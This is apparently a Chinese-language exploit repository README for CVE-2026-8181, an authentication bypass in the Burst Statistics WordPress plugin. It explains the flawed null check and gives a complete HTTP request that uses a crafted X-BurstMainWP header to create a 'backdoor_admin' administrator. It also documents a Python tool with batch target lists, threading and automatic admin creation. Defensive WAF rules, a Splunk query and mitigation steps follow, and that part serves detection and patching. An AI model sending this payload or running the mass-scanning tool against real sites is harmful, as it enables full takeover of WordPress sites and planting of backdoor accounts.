[!CAUTION] 严重警告: 此漏洞允许未经认证的远程攻击者通过简单地注入一个自定义 HTTP 头来绕过认证,并在目标 WordPress 站点上获得完全的管理员权限。此 CVE 目前正在被积极利用于野外攻击。
CVE-2026-8181 是一个影响 Burst Statistics WordPress 插件(版本 3.4.0 至 3.4.1.1)的严重认证绕过漏洞。该缺陷存在于插件的 MainWP 代理集成中。由于在早期的 plugins_loaded 钩子中对应用密码的验证不充分,插件会错误地将包含 X-BurstMainWP: 1 头的 REST API 请求赋予管理上下文,即使该请求缺乏有效凭证。
这会将一个简单的、未经认证的 HTTP 请求转化为完全的管理员接管,绕过所有标准的 WordPress 认证机制。
要理解为何一个简单的标头就能授予整个站点的管理权限,我们必须拆解插件认证处理器中的 PHP 逻辑。
该漏洞源于 includes/Frontend/class-mainwp-proxy.php 中 is_mainwp_authenticated() 方法内一个处理不当的条件分支。
plugins_loaded 钩子上的优先级 9 注册了 init()。这在 WordPress 生命周期中太早了。X-BurstMainWP: 1 头时,has_admin_access() 将认证委托给 is_mainwp_authenticated()。Authorization 头并将凭证转发给 WordPress 核心的 wp_authenticate_application_password()。application_password_is_api_request 过滤器设置为 true(因为钩子执行过早),核心函数返回的是 null 而不是 WP_Error 对象。is_wp_error( $user )。由于 ,检查通过。// Burst Statistics <= 3.4.1.1 中漏洞代码的简化表示
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // 正确处理显式认证失败
}
// 🚨 致命缺陷 🚨
// 如果未提供应用密码或 API 请求尚未标记,
// wp_authenticate_application_password 返回 NULL。
// 代码未检查 NULL!
if ( $user === null ) {
// 未安全地失败,而是落入此不安全分支:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM:管理员上下文已授予!
return true;
}
此部分面向红队成员和授权渗透测试人员。
/wp-content/plugins/burst-statistics/readme.txt)。GET /wp-json/wp/v2/users 泄漏它们。如果被拦截,可使用作者存档技巧:/?author=1。POST /wp-json/wp/v2/users。X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null 检查,并将请求提升为管理员上下文。新管理员用户被创建。POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] 环境注意事项: 此利用需要
Authorization标头到达 PHP。
- Nginx / LiteSpeed / Apache(带友好永久链接): 标头被转发。利用成功。
- Apache(带普通永久链接,默认): 标头被 Web 服务器静默剥离。利用失败。
此部分面向蓝队成员、SOC 分析师和系统管理员。
在边缘阻止或监控特定标头。
ModSecurity / OWASP CRS 规则:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF 自定义规则:
(http.request.headers["X-BurstMainWP"] eq "1")
在 Web 服务器日志中搜索结合 REST API 用户创建的标头。
Splunk / ELK 查询:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
如果怀疑遭到入侵,请查找以下利用后痕迹:
wp_users 表中是否存在通过 REST API 以 administrator 角色创建的用户。wp-content/plugins/ 中是否有未经授权的上传(通常是伪装成合法插件的 webshell)。wp-content/themes/ 或核心文件中是否有未经授权的更改。[!IMPORTANT] 需要立即采取行动: 如果你正在运行易受攻击的版本,请立即应用以下缓解措施之一。
本仓库包含 CVE-2026-8181.py,这是一个 Python 自动化工具,用于在授权的实验环境中验证漏洞。
# 1. 安装依赖
pip3 install requests urllib3
# 2. 单站点侦察并自动配置新管理员
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. 批量扫描并合并成功文件
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. 批量扫描并生成独立主机报告
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] 仅供教育和授权测试使用。
本仓库提供的信息仅供教育目的、安全研究和授权渗透测试。在未经系统所有者明确书面许可的情况下利用系统漏洞是非法的,并违反国际网络法律。
本仓库的作者和贡献者不承担任何责任,对于因使用本工具或信息而导致的任何误用、损害或法律后果概不负责。请始终负责任地、道德地进行黑客操作。
nullWP_Errorwp_set_current_user(),立即将请求提升为完全管理员上下文。| 优先级 | 操作 | 详情 |
|---|
| P0 | 更新插件 | 通过 WordPress 仪表盘立即将 Burst Statistics 更新到 3.4.2 或更高版本。 |
| P1 | WAF 虚拟补丁 | 如果无法立即更新,请部署上述 WAF 规则以阻止 X-BurstMainWP 标头。 |
| P2 | 限制用户枚举 | 使用安全插件或 .htaccess 规则阻止对 /wp-json/wp/v2/users 和 /?author=* 的公开访问。 |
| P3 | 审计用户与文件 | 运行脚本审计最近创建的管理员账户,并撤销任何未经授权的访问。扫描 webshell。 |
| 功能 | 描述 |
|---|
| 🎯 单目标 | 使用 -u 标志扫描特定站点。 |
| 📦 批量操作 | 通过 -f targets.txt 提供目标列表(支持 # 注释)。 |
| ⚡ 并发 | 使用线程工作器加速批量扫描(-j N)。 |
| 💾 智能输出 | -o file.txt 用于组合报告。在批量模式下,仅记录成功的利用。 |
| 📂 每主机转储 | 使用 --output-dir 为每个被攻陷的主机保存独立的 .txt 文件。 |
| 👤 管理员创建 | 传递 --create-user 以通过 REST API 自动创建一个新的管理员账户。 |
| 🔓 实验室 TLS | 使用 -k 忽略 SSL 证书错误(严格限于本地/受信任的实验环境)。 |